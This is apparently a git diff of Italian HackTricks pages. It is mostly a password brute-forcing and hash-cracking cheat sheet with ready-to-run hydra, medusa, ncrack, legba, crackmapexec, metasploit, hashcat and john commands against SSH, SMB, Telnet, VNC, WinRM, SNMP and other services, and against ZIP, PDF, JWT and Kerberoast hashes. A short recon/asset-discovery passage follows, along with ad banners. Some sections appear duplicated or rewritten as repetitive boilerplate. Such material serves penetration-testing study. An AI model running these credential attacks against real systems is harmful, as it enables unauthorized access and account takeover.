||||
|
||||
Rlogin è un protocollo di rete che consente a un utente di accedere a un computer remoto tramite una connessione di rete. Questo protocollo è vulnerabile agli attacchi di forza bruta, in cui un hacker tenta di indovinare la password dell'account utente provando una serie di password diverse fino a trovare quella corretta.
|
||||
Rlogin è un protocollo di rete che consente a un utente di accedere a un altro host su una rete. Questo protocollo è vulnerabile agli attacchi di forza bruta, in cui un attaccante tenta di indovinare le credenziali di accesso provando diverse combinazioni di username e password. Per proteggere un sistema da tali attacchi, è consigliabile utilizzare password complesse e implementare misure di sicurezza aggiuntive come il blocco dell'account dopo un numero specifico di tentativi falliti.
|
||||
```bash
|
||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||
```
|
||||
### Rsh
|
||||
|
||||
Rsh (Remote Shell) is a simple remote shell client included in Unix operating systems. It can be used to execute commands on a remote system. Attackers can use brute force attacks to guess passwords and gain unauthorized access to remote systems via Rsh.
|
||||
Rsh (Remote Shell) is a protocol that allows a user to execute commands on a remote system. It is often targeted during brute-force attacks due to its weak authentication mechanisms.
|
||||
```bash
|
||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||
```
|
||||
|
@ -437,7 +429,7 @@ nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/va
|
|||
```
|
||||
### RTSP
|
||||
|
||||
Il Real Time Streaming Protocol (RTSP) è un protocollo di rete utilizzato per il controllo della trasmissione di dati multimediali in tempo reale.
|
||||
Real Time Streaming Protocol (RTSP) è un protocollo di rete utilizzato per il controllo di flussi multimediali continui, come l'audio o il video. RTSP può essere soggetto a attacchi di forza bruta per tentare di indovinare le credenziali di accesso a un server RTSP.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt <IP> rtsp
|
||||
```
|
||||
|
@ -448,8 +440,6 @@ legba sftp --username admin --password wordlists/passwords.txt --target localhos
|
|||
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||
```
|
||||
### SNMP
|
||||
|
||||
Il Simple Network Management Protocol (SNMP) è un protocollo standard utilizzato per monitorare e gestire dispositivi di rete come router, switch, server e stampanti. SNMP utilizza un approccio di "brute force" per tentare di indovinare le credenziali di accesso ai dispositivi di rete.
|
||||
```bash
|
||||
msf> use auxiliary/scanner/snmp/snmp_login
|
||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||
|
@ -458,7 +448,7 @@ hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt ta
|
|||
```
|
||||
### SMB
|
||||
|
||||
SMB (Server Message Block) è un protocollo di rete utilizzato per condividere file, stampanti e altre risorse di rete in un ambiente Windows. È possibile eseguire attacchi di forza bruta contro i servizi SMB per tentare di indovinare le credenziali di accesso e ottenere l'accesso non autorizzato alle risorse condivise.
|
||||
Il protocollo SMB (Server Message Block) è un protocollo di rete utilizzato principalmente per fornire condivisione di file, stampa e comunicazioni tra nodi di rete. È comunemente utilizzato in ambienti Windows e può essere soggetto a attacchi di forza bruta per tentare di indovinare le credenziali di accesso.
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||
|
@ -466,7 +456,7 @@ legba smb --target share.company.com --username admin --password data/passwords.
|
|||
```
|
||||
### SMTP
|
||||
|
||||
Il Simple Mail Transfer Protocol (SMTP) è un protocollo standard utilizzato per inviare e ricevere email su una rete.
|
||||
Il Simple Mail Transfer Protocol (SMTP) è un protocollo standard per l'invio di email su una rete.
|
||||
```bash
|
||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||
|
@ -474,7 +464,7 @@ legba smtp --username admin@example.com --password wordlists/passwords.txt --tar
|
|||
```
|
||||
### SOCKS
|
||||
|
||||
### SOCKS
|
||||
SOCKS stands for **Socket Secure** and is an internet protocol that routes network packets between a client and a server through a proxy server. It can be used as a method for brute-forcing login credentials by routing the login attempts through a SOCKS proxy to avoid detection.
|
||||
```bash
|
||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||
|
@ -483,9 +473,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords.
|
|||
```
|
||||
### SQL Server
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. In the case of SQL Server, a brute force attack can be attempted by using automated tools that systematically generate and test different combinations of login credentials. This type of attack can be mitigated by implementing strong password policies, account lockout mechanisms, and monitoring for multiple failed login attempts.
|
||||
### SQL Server
|
||||
```bash
|
||||
#Use the NetBIOS name of the machine as domain
|
||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
@ -496,7 +484,7 @@ msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts
|
|||
```
|
||||
### SSH
|
||||
|
||||
SSH (Secure Shell) è un protocollo crittografico che permette di stabilire connessioni sicure su reti non sicure utilizzando un client-server architettura.
|
||||
SSH (Secure Shell) è un protocollo crittografico che consente di stabilire connessioni sicure su una rete non sicura. È comunemente utilizzato per accedere in remoto a server e dispositivi di rete.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -518,7 +506,7 @@ legba stomp --target localhost:61613 --username admin --password data/passwords.
|
|||
```
|
||||
### Telnet
|
||||
|
||||
Telnet è un protocollo di rete che consente di stabilire una connessione remota tramite la rete Internet o una rete locale. Viene utilizzato per accedere e controllare dispositivi remoti tramite una sessione di testo.
|
||||
Telnet è un protocollo di rete che consente di stabilire una connessione remota con un dispositivo tramite la rete. Questo protocollo è spesso utilizzato per l'amministrazione remota dei dispositivi di rete.
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -534,8 +522,6 @@ legba telnet \
|
|||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||||
```
|
||||
### VNC
|
||||
|
||||
VNC (Virtual Network Computing) is a graphical desktop sharing system that allows you to remotely control another computer. Brute-forcing VNC involves trying all possible password combinations until the correct one is found. This can be achieved using tools like Hydra or Medusa.
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -551,13 +537,15 @@ set RHOSTS <ip>
|
|||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```
|
||||
### Winrm
|
||||
|
||||
Winrm (Windows Remote Management) è un protocollo di gestione remota sviluppato da Microsoft che consente la comunicazione tra computer su una rete. È possibile utilizzare attacchi di forza bruta per tentare di indovinare le credenziali di accesso e ottenere l'accesso non autorizzato al sistema target.
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -567,7 +555,7 @@ Ottieni l'accesso oggi:
|
|||
### Database di cracking online
|
||||
|
||||
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di challenge)
|
||||
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore di sfida)
|
||||
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...)
|
||||
* [https://crackstation.net/](https://crackstation.net) (Hash)
|
||||
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
|
||||
|
@ -578,7 +566,7 @@ Ottieni l'accesso oggi:
|
|||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
|
||||
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
|
||||
|
||||
Controlla questo prima di provare a forzare un Hash.
|
||||
Controlla questo prima di provare a eseguire un attacco di forza bruta su un hash.
|
||||
|
||||
### ZIP
|
||||
```bash
|
||||
|
@ -596,9 +584,9 @@ john zip.john
|
|||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
#### Attacco zip con testo in chiaro noto
|
||||
#### Attacco zip con testo in chiaro conosciuto
|
||||
|
||||
È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. È possibile verificare **i nomi dei file e le dimensioni dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
|
||||
È necessario conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. È possibile controllare **i nomi dei file e le dimensioni dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\
|
||||
Scarica [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina dei rilasci.
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
|
@ -613,7 +601,7 @@ unzip unlocked.zip #User new_pwd as password
|
|||
```
|
||||
### 7z
|
||||
|
||||
Il metodo di attacco a forza bruta per 7z coinvolge la generazione di password casuali e la loro verifica fino a trovare quella corretta. Questo processo può richiedere molto tempo a causa della complessità delle password e del numero di tentativi necessari.
|
||||
### 7z
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
@ -628,11 +616,15 @@ apt-get install libcompress-raw-lzma-perl
|
|||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.
|
||||
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually very time-consuming and resource-intensive, but it can be effective against weak passwords or encryption keys.
|
||||
|
||||
#### Protection
|
||||
#### Tools
|
||||
|
||||
To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.
|
||||
There are several tools available for conducting brute force attacks, such as Hydra, Medusa, and John the Ripper. These tools can be customized to target specific protocols or services, making them versatile and powerful for penetration testing purposes.
|
||||
|
||||
#### Mitigation
|
||||
|
||||
To mitigate brute force attacks, it is essential to enforce strong password policies, implement account lockout mechanisms, and use multi-factor authentication. Additionally, monitoring and logging failed login attempts can help detect and respond to brute force attacks in a timely manner.
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -643,7 +635,7 @@ qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
|||
```
|
||||
### Password Proprietario PDF
|
||||
|
||||
Per crackare una password proprietario PDF controlla qui: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
Per crackare una password del proprietario di un PDF, controlla qui: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
```bash
|
||||
|
@ -673,7 +665,7 @@ john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
|||
```
|
||||
### Keberoasting
|
||||
|
||||
Keberoasting è una tecnica di attacco che sfrutta debolezze nella gestione delle password degli account di servizio. Consiste nel raccogliere i dati di accesso degli account di servizio e quindi utilizzare tecniche di forza bruta per decifrare le password degli account. Una volta ottenute le password, è possibile accedere agli account di servizio e comprometterli.
|
||||
Keberoasting è una tecnica che sfrutta debolezze nella gestione delle password per estrarre hash di password da servizi come Kerberos. Una volta ottenuti gli hash, possono essere decrittati offline per ottenere le password in chiaro.
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
|
@ -741,10 +733,10 @@ zip -r file.xls .
|
|||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -780,7 +772,7 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
|||
```
|
||||
### Hashcat
|
||||
|
||||
#### Attacchi di Hashcat
|
||||
#### Attacchi Hashcat
|
||||
|
||||
* **Attacco con lista di parole** (`-a 0`) con regole
|
||||
|
||||
|
@ -846,56 +838,61 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
|||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
## Brute Forcing Linux Hashes
|
||||
## Brute Forcing
|
||||
|
||||
### Introduction
|
||||
|
||||
When attempting to crack Linux hashes from the `/etc/shadow` file, a common approach is to use brute force techniques. This involves systematically checking all possible combinations of characters until the correct password is found.
|
||||
Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. In the context of cracking Linux hashes from the `/etc/shadow` file, brute forcing involves generating potential passwords and hashing them using the same algorithm and salt as the target hash.
|
||||
|
||||
### Tools
|
||||
|
||||
There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools support different algorithms and techniques to crack passwords efficiently.
|
||||
|
||||
### Methodology
|
||||
|
||||
1. **Obtain the Hash**: First, you need to obtain the hash of the password you want to crack from the `/etc/shadow` file.
|
||||
1. **Obtain the Hash**: First, you need to obtain the hash of the password you want to crack from the `/etc/shadow` file on a Linux system.
|
||||
|
||||
2. **Select a Tool**: Choose a suitable password cracking tool such as John the Ripper or Hashcat.
|
||||
2. **Select a Tool**: Choose a suitable password cracking tool based on the hash algorithm used in the target hash.
|
||||
|
||||
3. **Generate Wordlist**: Create a wordlist containing potential passwords based on common patterns, dictionaries, or custom rules.
|
||||
3. **Generate Password List**: Create a list of potential passwords to be used for brute forcing. This list can be generated based on common passwords, dictionaries, or custom wordlists.
|
||||
|
||||
4. **Start Brute Forcing**: Use the selected tool to start the brute force attack, trying each password in the wordlist until a match is found.
|
||||
4. **Start Brute Forcing**: Use the selected tool to start the brute forcing process by feeding it the hash to be cracked and the password list.
|
||||
|
||||
5. **Optimize**: Adjust the brute force parameters such as password length, character sets, and rules to optimize the cracking process.
|
||||
5. **Wait for Results**: Depending on the complexity of the password and the computational power available, the brute forcing process may take some time to find the correct password.
|
||||
|
||||
6. **Monitor Progress**: Monitor the progress of the brute force attack to track the number of passwords tried and estimate the time remaining.
|
||||
|
||||
7. **Crack the Hash**: Once the correct password is found, use it to access the target system or application.
|
||||
6. **Verify the Password**: Once the tool finds a matching password, verify it by logging in to the target system using the cracked password.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Brute forcing Linux hashes from the `/etc/shadow` file can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack the hash and gain unauthorized access to the system.
|
||||
Brute forcing is a powerful technique for cracking passwords, but it can be resource-intensive and time-consuming, especially for complex passwords. It is essential to use strong and unique passwords to protect sensitive information from unauthorized access.
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
# Brute Force
|
||||
## Brute Forcing Windows Hashes
|
||||
|
||||
## Introduction
|
||||
### Introduction
|
||||
|
||||
Brute force attacks are a common way to crack passwords. They involve trying all possible combinations of characters until the correct one is found. This method can be used to crack Windows hashes by generating potential passwords and comparing their hash values to the target hash.
|
||||
When it comes to cracking Windows hashes, one of the most common methods is brute forcing. This technique involves trying all possible combinations of characters until the correct password is found.
|
||||
|
||||
## Tools
|
||||
### Tools
|
||||
|
||||
There are various tools available for performing brute force attacks on Windows hashes, such as **John the Ripper** and **Hashcat**. These tools can be used to generate password candidates and compare them to the target hash.
|
||||
There are several tools available for brute forcing Windows hashes, such as **John the Ripper** and **Hashcat**. These tools are capable of running through large wordlists and character sets to crack the hashes.
|
||||
|
||||
## Methodology
|
||||
### Methodology
|
||||
|
||||
1. Obtain the target hash: The first step is to obtain the hash of the Windows password that you want to crack.
|
||||
1. Obtain the Windows hash that you want to crack.
|
||||
2. Choose a tool such as John the Ripper or Hashcat.
|
||||
3. Provide the tool with the hash and specify the character set and wordlist to use.
|
||||
4. Start the brute force attack and wait for the tool to find the correct password.
|
||||
|
||||
2. Generate password candidates: Use a brute force tool to generate a list of potential passwords based on specified criteria, such as length and character set.
|
||||
### Considerations
|
||||
|
||||
3. Compare hashes: Calculate the hash value of each generated password and compare it to the target hash. If a match is found, the password has been cracked.
|
||||
|
||||
4. Try different attack methods: In addition to brute force, other attack methods such as dictionary attacks and rainbow tables can also be used to crack Windows hashes.
|
||||
- Brute forcing can be a time-consuming process, especially for complex passwords.
|
||||
- It is important to use a good wordlist and character set to increase the chances of success.
|
||||
- Brute forcing should be used as a last resort when other methods have failed.
|
||||
|
||||
By following these steps and using the right tools, you can effectively crack Windows hashes using brute force techniques.
|
||||
```
|
||||
|
@ -906,27 +903,24 @@ By following these steps and using the right tools, you can effectively crack Wi
|
|||
|
||||
### Introduction
|
||||
|
||||
Brute force attacks are a common method used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This technique can also be used to crack common application hashes.
|
||||
|
||||
### Tools
|
||||
|
||||
There are several tools available for performing brute force attacks, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different combinations of characters to crack hashes.
|
||||
Brute force attacks are a common way to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This technique can also be used to crack common application hashes.
|
||||
|
||||
### Methodology
|
||||
|
||||
1. **Identify Hash Type**: Before starting a brute force attack, it is important to identify the type of hash being used. This will help determine the appropriate tool and character set to use for the attack.
|
||||
1. **Identify Hash Algorithm**: Determine the hash algorithm used by the application to generate the hashes.
|
||||
|
||||
2. **Select Tool**: Choose a suitable tool for the brute force attack based on the hash type and complexity of the password.
|
||||
2. **Generate Wordlist**: Create a wordlist containing commonly used passwords, dictionary words, and variations.
|
||||
|
||||
3. **Generate Wordlist**: Create a wordlist containing possible passwords to use in the brute force attack. This can be done using tools like Crunch or by downloading existing wordlists.
|
||||
3. **Brute Force Attack**: Use a tool like Hashcat or John the Ripper to systematically generate hashes from the wordlist and compare them to the target hash.
|
||||
|
||||
4. **Run Brute Force Attack**: Use the selected tool to run the brute force attack, trying different combinations of characters from the wordlist until the correct password is found.
|
||||
4. **Optimize**: Adjust the brute force attack parameters such as character set, length, and rules to increase efficiency.
|
||||
|
||||
5. **Optimize**: Adjust the character set and password length based on the progress of the brute force attack to optimize the process and increase the chances of success.
|
||||
5. **Crack the Hash**: Once a matching hash is found, the corresponding password is cracked.
|
||||
|
||||
### Conclusion
|
||||
### Resources
|
||||
|
||||
Brute force attacks can be an effective method for cracking common application hashes, especially when combined with a well-crafted wordlist and the right tools. It is important to follow a systematic approach and continuously optimize the attack to increase the chances of success.
|
||||
- Hashcat: [https://hashcat.net/hashcat/](https://hashcat.net/hashcat/)
|
||||
- John the Ripper: [https://www.openwall.com/john/](https://www.openwall.com/john/)
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -938,22 +932,22 @@ Brute force attacks can be an effective method for cracking common application h
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
|
@ -14,7 +14,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza polacca scritta e parlata_).
|
||||
|
||||
|
@ -22,27 +22,27 @@ Se sei interessato alla **carriera dell'hacking** e vuoi hackerare l'inviolabile
|
|||
|
||||
## Scoperta degli Asset
|
||||
|
||||
> Ti è stato detto che tutto ciò che appartiene a una certa azienda è nel perimetro, e vuoi capire cosa possiede effettivamente questa azienda.
|
||||
> Ti è stato detto che tutto ciò che appartiene a un'azienda è nel perimetro, e vuoi capire cosa possiede effettivamente questa azienda.
|
||||
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla principale azienda** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue:
|
||||
L'obiettivo di questa fase è ottenere tutte le **aziende possedute dall'azienda principale** e quindi tutti gli **asset** di queste aziende. Per farlo, faremo quanto segue:
|
||||
|
||||
1. Trovare le acquisizioni della principale azienda, questo ci darà le aziende nel perimetro.
|
||||
1. Trovare le acquisizioni dell'azienda principale, questo ci darà le aziende nel perimetro.
|
||||
2. Trovare l'ASN (se presente) di ogni azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
|
||||
3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlati al primo (questo può essere fatto in modo ricorsivo).
|
||||
4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo).
|
||||
|
||||
### **Acquisizioni**
|
||||
|
||||
Innanzitutto, dobbiamo sapere quali **altre aziende sono possedute dalla principale azienda**.\
|
||||
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **principale azienda**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||
Un'altra opzione è visitare la pagina **Wikipedia** della principale azienda e cercare **acquisizioni**.
|
||||
Innanzitutto, dobbiamo sapere quali **altre aziende sono possedute dall'azienda principale**.\
|
||||
Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** l'**azienda principale**, e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
|
||||
Un'altra opzione è visitare la pagina **Wikipedia** dell'azienda principale e cercare **acquisizioni**.
|
||||
|
||||
> Ok, a questo punto dovresti conoscere tutte le aziende nel perimetro. Scopriamo come trovare i loro asset.
|
||||
|
||||
### **ASN**
|
||||
|
||||
Un numero di sistema autonomo (**ASN**) è un **numero univoco** assegnato a un **sistema autonomo** (AS) dall'**Internet Assigned Numbers Authority (IANA)**.\
|
||||
Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica definita in modo distintivo per l'accesso alle reti esterne e sono amministrati da un'unica organizzazione ma possono essere composti da diversi operatori.
|
||||
Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica definita per l'accesso alle reti esterne e sono amministrati da un'unica organizzazione ma possono essere composti da diversi operatori.
|
||||
|
||||
È interessante scoprire se l'**azienda ha assegnato un qualsiasi ASN** per trovare i suoi **intervalli IP**. Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno del **perimetro** e cercare **domini** all'interno di questi IP.\
|
||||
Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
|
||||
|
@ -84,7 +84,7 @@ Inoltre, potresti eseguire alcuni [**scansione delle porte**](../pentesting-netw
|
|||
|
||||
_Per favore, nota che nelle tecniche proposte di seguito è possibile trovare anche sottodomini e tali informazioni non dovrebbero essere sottovalutate._
|
||||
|
||||
Innanzitutto dovresti cercare il(i) **dominio principale** di ciascuna azienda. Ad esempio, per _Tesla Inc._ sarà _tesla.com_.
|
||||
